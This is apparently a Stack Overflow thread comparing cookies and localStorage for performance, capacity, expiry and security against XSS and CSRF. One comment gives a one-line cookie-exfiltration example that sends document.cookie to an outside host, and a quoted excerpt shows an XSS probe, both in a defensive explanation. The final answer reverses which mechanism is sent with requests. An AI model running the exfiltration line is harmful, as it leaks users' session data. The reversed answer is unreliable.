1170

I want to reduce load times on my websites by moving all cookies into local storage since they seem to have the same functionality. Are there any pros/cons (especially performance-wise) in using local storage to replace cookie functionality except for the obvious compatibility issues?

wvdz
  • 15,266
  • 3
  • 43
  • 82
Gio Borje
  • 16,826
  • 7
  • 33
  • 50
  • 130
    Possibe downside: localStorge values on Secure (SSL) pages are isolated. So if your site has both http and https pages you will not be able to access the values set on an http page when visiting an https page. Just tried localStorage for an ajax mini cart in a Magento store. Epic fail... –  May 10 '13 at 10:37
  • http://stackoverflow.com/questions/5398604/local-storage-session-storage-web-storage-web-database-and-cookies-in-html5?rq=1 – geoff Mar 23 '14 at 21:14
  • 8
    surprisingly well supported (compared to what I was expecting) http://caniuse.com/#search=localstorage – Simon_Weaver Apr 28 '15 at 02:07
  • 8
    Some users also have cookies disabled as a rule in their browsers. Local storage could work better for those users. – evolross Jan 09 '17 at 22:38
  • 19
    "_Possibe downside: [localStorage] values on Secure (SSL) pages are isolated_" That's the great upside actually. – curiousguy Jun 16 '18 at 05:34
  • 34
    That's why you should just force SSL on your website... I see no reason to offer both versions of a page if you already have the SSL version available. – xji Aug 19 '18 at 08:30
  • @evolross it depends what you mean by work better ha ha. – Eoin Feb 05 '20 at 21:36
  • Agree! If an https version is available, http requests can be easily redirected to https. – Sanjay Verma Mar 17 '21 at 04:02

8 Answers8

1466

Cookies and local storage serve different purposes. Cookies are primarily for reading server-side, local storage can only be read by the client-side. So the question is, in your app, who needs this data — the client or the server?

If it's your client (your JavaScript), then by all means switch. You're wasting bandwidth by sending all the data in each HTTP header.

If it's your server, local storage isn't so useful because you'd have to forward the data along somehow (with Ajax or hidden form fields or something). This might be okay if the server only needs a small subset of the total data for each request.

You'll want to leave your session cookie as a cookie either way though.

As per the technical difference, and also my understanding:

  1. Apart from being an old way of saving data, Cookies give you a limit of 4096 bytes (4095, actually) — it's per cookie. Local Storage is as big as 5MB per domainSO Question also mentions it.

  2. localStorage is an implementation of the Storage Interface. It stores data with no expiration date, and gets cleared only through JavaScript, or clearing the Browser Cache / Locally Stored Data — unlike cookie expiry.

Ratmir Asanov
  • 5,433
  • 5
  • 20
  • 36
jpsimons
  • 24,016
  • 3
  • 31
  • 45
  • 38
    HTML5 has session scoped storage that can be used as a replacement for session cookies as well. – Pat Niemeyer Jun 03 '12 at 03:40
  • 6
    @PatNiemeyer, You can assume `sessionStorage` as a Cookie that has expiry until the Browser is closed (not the tab). @darkporter, thanks for the answer. However, would like to hear **technical** difference between Cookies and Local Storage. waiting for your edit. – Om Shankar Jul 17 '12 at 06:34
  • 32
    @OmShankar I'm not sure if you still have this doubt, but here's the difference: `localStorage` **stays** on the client, while `cookies` are sent with the HTTP header. That's the biggest (but not the only) difference between them. – Andre Calil Nov 01 '12 at 16:33
  • @AndreCalil, yup, I am aware. But do you mean cookies are not stored at client? Since I have a totally different idea for that. – Om Shankar Dec 23 '12 at 17:03
  • @OmShankar I mean that localStorage that is not sent to the server on each request, like cookies are. – Andre Calil Dec 26 '12 at 14:23
  • @AndreCalil, True. I agree. LocalStorage might not be an ideal solution for applications that need sending bits of data to server. After all, per W3, Storage and Offline is for Application architecture. Cookies in my opinion are Web-based bits – Om Shankar Dec 27 '12 at 04:48
  • 18
    If your client app talks to REST API, then using cookie to store and transmit session id is not idiomatic in REST. So, for me cookies look like an old technology which probably ought to be replaced with local storage (+ JavaScript if you need to pass some data, like session id, to the server). – Tvaroh Nov 04 '13 at 19:38
  • @Darkporter: you're saying that localStorage gets cleared with clearance of the browser cache/locally stored data. Does that mean that if a user clears their browser cache, the localStorage data are cleared as well? Or do they specifically need to clear Locally Stored Data for that? – Frank Conijn Aug 13 '14 at 22:35
  • Yeah, my answer has been edited a lot. Not just copy editing but adding new stuff. I'd dig through the edit history and see whoever added the part about clearing local storage, because it wasn't me. – jpsimons Aug 16 '14 at 18:02
  • there could be some legal considerations - if you're in a country where you have to inform the user you're using cookies - I don't think you need to tell them you're using local storage – Simon_Weaver Apr 28 '15 at 02:08
  • 10
    Local storage is not necessarily a safer choice than cookies, as it is vulnerable to XSS attacks. Personally, I'd opt for an encrypted HTTPS cookie (maybe using JWT or JWE), with a carefully-planned expiration scheme. i.e. implement both a cookie-level expiration 'policy' and a server-side cookie 'renewal' process, to reduce the chance of a cookie being used by malicious third parties. I've written an answer below citing parts of an article by Stormpath on this matter. – XtraSimplicity Apr 03 '16 at 03:54
  • 3
    There is one more difference to consider when storing session information in local storage -- mobile safari doesn't let you set local storage so your app won't work on it. Not a deal breaker for most, but it is if you want to be accessible everywhere and are using local storage for login. – Sahil Sep 26 '16 at 04:53
  • @XtraSimplicity If your site is vulnerable to XSS, can you make *any* security guarantee? – curiousguy Jun 16 '18 at 06:25
  • @curiousguy From the client side, no. Absolute security is impossible, we can only reduce the risk; hence why we shouldn't rely purely on client-side security. – XtraSimplicity Jul 16 '18 at 21:30
  • 2
    @Sahil That doesn't seem to be accurate. It only disallows localStorage in private browsing mode, but not in normal browsing mode: https://stackoverflow.com/questions/14555347/html5-localstorage-error-with-safari-quota-exceeded-err-dom-exception-22-an – xji Aug 19 '18 at 08:37
  • Do you still need user consent for local storage? – ds_secret Aug 28 '18 at 20:26
  • 3
    @XtraSimplicity It needs to be pointed out that JWT is not _encrypted_ it is just base64 _encoded_. What confuses people is that it is signed -- a 3rd party cannot modify the data in a JWT and maintain a valid signature, but they can definitely read all of the data without the signing key. – Anthony Manning-Franklin Feb 23 '19 at 04:18
  • Thanks for the clarification, @AnthonyManning-Franklin -- that's a very important distinction! – XtraSimplicity Feb 26 '19 at 21:38
  • Cookies when you need backwards compatibility with older browsers. Always check server-side, don't rely on Cookie's expiration date. If you use JWT, you have a JWT expiration. sessionStorage (until tab closed). localStorage you don't care if it expires or not (so people just use it like the JWT cookie I just mentioned). Cookies due to HTTP can be an issue too in some browsers (and certain regulations in some countries) – Dexter Apr 02 '19 at 14:50
279

In the context of JWTs, Stormpath have written a fairly helpful article outlining possible ways to store them, and the (dis-)advantages pertaining to each method.

It also has a short overview of XSS and CSRF attacks, and how you can combat them.

I've attached some short snippets of the article below, in case their article is taken offline/their site goes down.

Local Storage

Problems:

Web Storage (localStorage/sessionStorage) is accessible through JavaScript on the same domain. This means that any JavaScript running on your site will have access to web storage, and because of this can be vulnerable to cross-site scripting (XSS) attacks. XSS in a nutshell is a type of vulnerability where an attacker can inject JavaScript that will run on your page. Basic XSS attacks attempt to inject JavaScript through form inputs, where the attacker puts alert('You are Hacked'); into a form to see if it is run by the browser and can be viewed by other users.

Prevention:

To prevent XSS, the common response is to escape and encode all untrusted data. But this is far from the full story. In 2015, modern web apps use JavaScript hosted on CDNs or outside infrastructure. Modern web apps include 3rd party JavaScript libraries for A/B testing, funnel/market analysis, and ads. We use package managers like Bower to import other peoples’ code into our apps.

What if only one of the scripts you use is compromised? Malicious JavaScript can be embedded on the page, and Web Storage is compromised. These types of XSS attacks can get everyone’s Web Storage that visits your site, without their knowledge. This is probably why a bunch of organizations advise not to store anything of value or trust any information in web storage. This includes session identifiers and tokens.

As a storage mechanism, Web Storage does not enforce any secure standards during transfer. Whoever reads Web Storage and uses it must do their due diligence to ensure they always send the JWT over HTTPS and never HTTP.

Cookies

Problems:

Cookies, when used with the HttpOnly cookie flag, are not accessible through JavaScript, and are immune to XSS. You can also set the Secure cookie flag to guarantee the cookie is only sent over HTTPS. This is one of the main reasons that cookies have been leveraged in the past to store tokens or session data. Modern developers are hesitant to use cookies because they traditionally required state to be stored on the server, thus breaking RESTful best practices. Cookies as a storage mechanism do not require state to be stored on the server if you are storing a JWT in the cookie. This is because the JWT encapsulates everything the server needs to serve the request.

However, cookies are vulnerable to a different type of attack: cross-site request forgery (CSRF). A CSRF attack is a type of attack that occurs when a malicious web site, email, or blog causes a user’s web browser to perform an unwanted action on a trusted site on which the user is currently authenticated. This is an exploit of how the browser handles cookies. A cookie can only be sent to the domains in which it is allowed. By default, this is the domain that originally set the cookie. The cookie will be sent for a request regardless of whether you are on galaxies.com or hahagonnahackyou.com.

Prevention:

Modern browsers support the SameSite flag, in addition to HttpOnly and Secure. The purpose of this flag is to prevent the cookie from being transmitted in cross-site requests, preventing many kinds of CSRF attack.

For browsers that do not support SameSite, CSRF can be prevented by using synchronized token patterns. This sounds complicated, but all modern web frameworks have support for this.

For example, AngularJS has a solution to validate that the cookie is accessible by only your domain. Straight from AngularJS docs:

When performing XHR requests, the $http service reads a token from a cookie (by default, XSRF-TOKEN) and sets it as an HTTP header (X-XSRF-TOKEN). Since only JavaScript that runs on your domain can read the cookie, your server can be assured that the XHR came from JavaScript running on your domain. You can make this CSRF protection stateless by including a xsrfToken JWT claim:

{
  "iss": "http://galaxies.com",
  "exp": 1300819380,
  "scopes": ["explorer", "solar-harvester", "seller"],
  "sub": "tom@andromeda.com",
  "xsrfToken": "d9b9714c-7ac0-42e0-8696-2dae95dbc33e"
}

Leveraging your web app framework’s CSRF protection makes cookies rock solid for storing a JWT. CSRF can also be partially prevented by checking the HTTP Referer and Origin header from your API. CSRF attacks will have Referer and Origin headers that are unrelated to your application.

The full article can be found here: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/

They also have a helpful article on how to best design and implement JWTs, with regards to the structure of the token itself: https://stormpath.com/blog/jwt-the-right-way/

meager
  • 209,754
  • 38
  • 307
  • 315
XtraSimplicity
  • 4,556
  • 1
  • 23
  • 26
  • 8
    Excellent point. Surprised the security implications of local storage (or lack thereof for XSS) have not been mentioned before on such a well read question - except for one answer which incorrectly IMHO suggests it's more secure! – Barry Pollard Apr 02 '16 at 20:32
  • 37
    I find the whole security talk a bit distracting to be honest. Yes, `localStorage` is accessible to other scripts on the page... But so is `XMLHttpRequest`... And yes the HttpOnly flag protects against stealing the cookie but the browser still sends it to the matching domain automatically so... basically when you have malicious scripts running on your page you are already hacked. – Stijn de Witt Jan 20 '17 at 20:17
  • 4
    @StijndeWitt Every layer of protection has its own power and weakness. So it's usually better to have multiple protection layers. Just to give you an example: HttpOnly also prevents non-ajax attacks like `window.location = 'http://google.com?q=' + escape(document.cookie);`. This attack bypasses the browsers CORS check. – Memet Olsen Dec 20 '17 at 16:19
  • Assuming you have less than fully trusted providers for some things like ads... why are your ads even served by the same domain as your own trusted content? Ads just have to be displayed inside the Webpage, they don't need to run JS inside the page, usually. So much integration for that third party content is uncalled for. – curiousguy Oct 24 '18 at 17:43
  • Why does a csrf token in a cookie (that has to be non-http-only by definition so that it can be read via JavaScript and sent via a header) help anything security-wise? If my site is vulnerable to xss, the cookie can be read as easy as local/session storage. – Juangamnik Jun 11 '19 at 18:13
  • Using cookie as storage will not prevent CSRF attacks, if the website has XSS vulnerability. According to OWASP, "Any cross-site scripting vulnerability can be used to defeat all CSRF mitigation techniques available in the market today" link: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.md#warning-no-cross-site-scripting-xss-vulnerabilities – Imtiaz Shakil Siddique Aug 05 '19 at 16:24
  • How different is Javascript XSS from simply opening the developer console on any website and entering commands into the console? – Joseph Kreifels II Mar 30 '21 at 15:00
107

With localStorage, web applications can store data locally within the user's browser. Before HTML5, application data had to be stored in cookies, included in every server request. Large amounts of data can be stored locally, without affecting website performance. Although localStorage is more modern, there are some pros and cons to both techniques.

Cookies

Pros

  • Legacy support (it's been around forever)
  • Persistent data
  • Expiration dates

Cons

  • Each domain stores all its cookies in a single string, which can make parsing data difficult
  • Data is unencrypted, which becomes an issue because... ... though small in size, cookies are sent with every HTTP request Limited size (4KB)
  • SQL injection can be performed from a cookie

Local storage

Pros

  • Support by most modern browsers
  • Persistent data that is stored directly in the browser
  • Same-origin rules apply to local storage data
  • Is not sent with every HTTP request
  • ~5MB storage per domain (that's 5120KB)

Cons

  • Not supported by anything before: IE 8, Firefox 3.5, Safari 4, Chrome 4, Opera 10.5, iOS 2.0, Android 2.0
  • If the server needs stored client information you purposely have to send it.

localStorage usage is almost identical with the session one. They have pretty much exact methods, so switching from session to localStorage is really child's play. However, if stored data is really crucial for your application, you will probably use cookies as a backup in case localStorage is not available. If you want to check browser support for localStorage, all you have to do is run this simple script:

/* 
* function body that test if storage is available
* returns true if localStorage is available and false if it's not
*/
function lsTest(){
    var test = 'test';
    try {
        localStorage.setItem(test, test);
        localStorage.removeItem(test);
        return true;
    } catch(e) {
        return false;
    }
}

/* 
* execute Test and run our custom script 
*/
if(lsTest()) {
    // window.sessionStorage.setItem(name, 1); // session and storage methods are very similar
    window.localStorage.setItem(name, 1);
    console.log('localStorage where used'); // log
} else {
    document.cookie="name=1; expires=Mon, 28 Mar 2016 12:00:00 UTC";
    console.log('Cookie where used'); // log
}

"localStorage values on Secure (SSL) pages are isolated" as someone noticed keep in mind that localStorage will not be available if you switch from 'http' to 'https' secured protocol, where the cookie will still be accesible. This is kind of important to be aware of if you work with secure protocols.

DevWL
  • 11,946
  • 5
  • 71
  • 69
  • 1
    The check you are doing is not very reliable. There are browsers and modes (private) which have the Storage object, yet fail to acutally set values on it. The only way to check actual support is to try catch a set remove on it. – JavaScript Apr 27 '16 at 13:44
  • Point taken, i have updated my answer with regards to Joe answer at: http://stackoverflow.com/questions/16427636/check-if-localstorage-is-available – DevWL Jul 28 '16 at 10:06
  • 11
    since 'SQL injection can be performed' is listed as a contra of cookie, you are saying that it cannot be performed from localStorage? – Martin Schneider Jan 12 '17 at 11:09
  • Another pro for Cookies. Cookies can be marked as HTTPOnly. This means that they cannot be accessed from JavaScript which in turn means that no malicious XSS attacks can retrieve the cookie contents. Because of this, I wouldn't necessarily say that local storage is more secure than cookies. – wp-overwatch.com Aug 03 '18 at 21:48
  • @Mr.Me While XSS attacks cannot read an HTTPOnly cookie, **the attacker can still do any HTTP request that the user can do (by definition)** limited only by browser session. Assuming the session cookie is an opaque identifier, as almost all session cookies are, reading the cookie value is only useful to perform an HTTP request including it: you don't learn anything with just the cookie value. (Note, session cookies can sometime be linked to a particular source IP address, user-agent header, or other browser characteristics; XSS attacks perform HTTP requests from the browser, so these match.) – curiousguy Oct 24 '18 at 17:16
  • The HTTPOnly flag still imposes a limit on the attack: the attack can only occur during the browser session: when the user closes the browser, it's over. An attack involving reading a non-HTTPOnly cookie can be performed until session cookie identifier expiration (as determined by the server), which sometimes can last months, so HTTPOnly still limits attacks. So HTTPOnly is a useful security feature, but *assuming that HTTPOnly makes XSS a minor issue is very dangerous*. – curiousguy Oct 24 '18 at 17:20
  • `localstorage is more secure`. Can you comment on why [some reputable opinions say the opposite](https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage)?: `Stormpath recommends that you store your JWT in cookies for web applications, because of the additional security they provide` – ecoe Dec 13 '18 at 16:49
28

Cookies:

  1. Introduced prior to HTML5.
  2. Has expiration date.
  3. Cleared by JS or by Clear Browsing Data of browser or after expiration date.
  4. Will sent to the server per each request.
  5. The capacity is 4KB.
  6. Only strings are able to store in cookies.
  7. There are two types of cookies: persistent and session.

Local Storage:

  1. Introduced with HTML5.
  2. Does not have expiration date.
  3. Cleared by JS or by Clear Browsing Data of the browser.
  4. You can select when the data must be sent to the server.
  5. The capacity is 5MB.
  6. Data is stored indefinitely, and must be a string.
  7. Only have one type.
Jaeeun Lee
  • 2,469
  • 11
  • 34
  • 52
  • 6. localStorage can only store strings, primitives and objects must be converted to strings before storage, 7. sessionStorage is also available and is identical to localStorage except it does not persist – Robbie Milejczak Feb 17 '20 at 14:52
  • You can only store stings in storage – TheMisir Mar 15 '20 at 09:47
13

It is also worth mentioning that localStorage cannot be used when users browse in "private" mode in some versions of mobile Safari.

Quoted from MDN (https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage):

Note: Starting with iOS 5.1, Safari Mobile stores localStorage data in the cache folder, which is subject to occasional clean up, at the behest of the OS, typically if space is short. Safari Mobile's Private Browsing mode also prevents writing to localStorage entirely.

benjaminz
  • 2,412
  • 3
  • 27
  • 40
11

Well, local storage speed greatly depends on the browser the client is using, as well as the operating system. Chrome or Safari on a mac could be much faster than Firefox on a PC, especially with newer APIs. As always though, testing is your friend (I could not find any benchmarks).

I really don't see a huge difference in cookie vs local storage. Also, you should be more worried about compatibility issues: not all browsers have even begun to support the new HTML5 APIs, so cookies would be your best bet for speed and compatibility.

pop850
  • 3,067
  • 3
  • 26
  • 34
  • 2
    It's just an internal project, so things like cross-browser-compatibility aren't really necessary. Because cookies are sent with each HTTPRequest (my application has ~77 requests) meaning ~500kB extra overhead. I know the obvious solution is a CDN, but I want to try something that isn't server-dependent. I couldn't find any benchmarks myself and that's why I was hoping someone here might know. – Gio Borje Jul 10 '10 at 20:34
  • 17
    Why would Chrome or Safari be faster on a Mac? It's pretty much the same browser code running whether you're on Mac, Linux or Windows. – Mark K Cowan Oct 20 '14 at 10:07
11

Local storage can store up to 5mb offline data, whereas session can also store up to 5 mb data. But cookies can store only 4kb data in text format.

LOCAl and Session storage data in JSON format, thus easy to parse. But cookies data is in string format.

0

Key Differences:

Capacity:

  • Local Storage: 10MB
  • Cookies: 4kb

Browser Support:

  • Local Storage: HTML5
  • Cookies: HTML4, HTML5

Storage Location:

  • Local Storage: Browser Only
  • Cookies: Browser & Server

Send With Request:

  • Local Storage: Yes
  • Cookies: No

Accessed From:

  • Local Storage: Any Window
  • Cookies: Any Window.

Expiry Date:

  • Local Storage: Never Expire, until done by javascript.
  • Cookies: Yes, Have expiry date.

Note: Use that, what suits you.

MuhammadAliDEV
  • 111
  • 3
  • 11